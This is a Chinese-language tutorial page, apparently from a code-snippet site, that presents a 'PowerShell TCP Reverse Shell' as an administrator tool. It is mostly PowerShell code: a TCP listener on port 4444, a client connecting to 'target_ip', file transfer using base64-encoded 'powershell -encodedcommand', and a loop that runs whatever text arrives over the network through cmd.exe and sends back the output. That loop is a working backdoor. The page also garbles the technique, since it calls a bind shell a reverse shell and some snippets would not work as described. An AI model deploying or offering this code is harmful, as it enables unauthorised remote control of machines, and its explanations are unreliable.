📅  最后修改于: 2023-12-03 15:03:51.261000             🧑  作者: Mango
PowerShell TCP Reverse Shell是一种远程访问管理技术,它通过打开TCP端口并侦听用户请求,使得管理员可以通过网络进行远程连接,并在目标计算机上执行命令。
可以实现以下功能:
首先,在目标计算机上启动监听程序。以下代码片段展示了如何通过PowerShell打开TCP端口进行侦听:
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0', 4444)
$listener.start()
$tcpClient = $listener.AcceptTcpClient()
$stream = $tcpClient.GetStream()
现在,我们可以通过其他计算机的PowerShell连接到目标计算机。以下代码片段展示了如何建立连接:
$client = New-Object System.Net.Sockets.TcpClient('target_ip', 4444)
$stream = $client.GetStream()
我们可以通过向目标计算机发送命令来执行它们。以下代码片段展示了如何向目标计算机发送命令并获得其输出:
$command = "Get-ChildItem C:\"
$commandBytes = [System.Text.Encoding]::UTF8.GetBytes($command)
$stream.write($commandBytes, 0, $commandBytes.Length)
$buffer = New-Object Byte[](1024)
$stream.Read($buffer, 0, $buffer.Length)
[System.Text.Encoding]::UTF8.GetString($buffer)
PowerShell TCP Reverse Shell还可以上传/下载文件。以下代码片段展示了如何从目标计算机下载文件:
$filename = "file.txt"
$command = "Get-Content $filename"
$commandBytes = [System.Text.Encoding]::UTF8.GetBytes($command)
$stream.write($commandBytes, 0, $commandBytes.Length)
$buffer = New-Object Byte[](1024)
$stream.Read($buffer, 0, $buffer.Length)
[System.IO.File]::WriteAllBytes("$filename", $buffer)
以下代码片段展示了如何将文件上传到目标计算机:
$filename = "file.txt"
$data = [System.IO.File]::ReadAllBytes($filename)
$command = "[System.IO.File]::WriteAllBytes('{0}', [Byte[]]@({1}))"
$encodedCommand = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command -f 'newfile.txt', [string]::Join(',', $data)))
$bytes = [System.Text.Encoding]::UTF8.GetBytes("powershell.exe -encodedcommand $encodedCommand")
$stream.Write($bytes, 0, $bytes.Length)
PowerShell TCP Reverse Shell也可以在我们自己的计算机上侦听TCP端口,以便远程访问另一台计算机。以下代码片段展示了如何监听端口:
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0', 8080)
$listener.Start()
while ($true) {
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
$bytes = New-Object byte[] 2048
$stream.Read($bytes, 0, 2048)
$command = [System.Text.Encoding]::ASCII.GetString($bytes).TrimEnd([Char]0)
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = "cmd.exe"
$p.StartInfo.Arguments = "/c " + $command
$p.StartInfo.UseShellExecute = $false
$p.StartInfo.RedirectStandardOutput = $true
$p.Start()
$output = $p.StandardOutput.ReadToEnd()
$p.WaitForExit()
$outputBytes = [System.Text.Encoding]::UTF8.GetBytes($output)
$stream.Write($outputBytes, 0, $outputBytes.Length)
$stream.Close()
$client.Close()
}
PowerShell TCP Reverse Shell是一种非常方便且功能强大的技术,可以让管理员轻松地通过网络访问目标计算机,并在目标计算机上执行操作。您可以使用上述代码片段作为蓝本,实现更高级的功能以适应您的需求。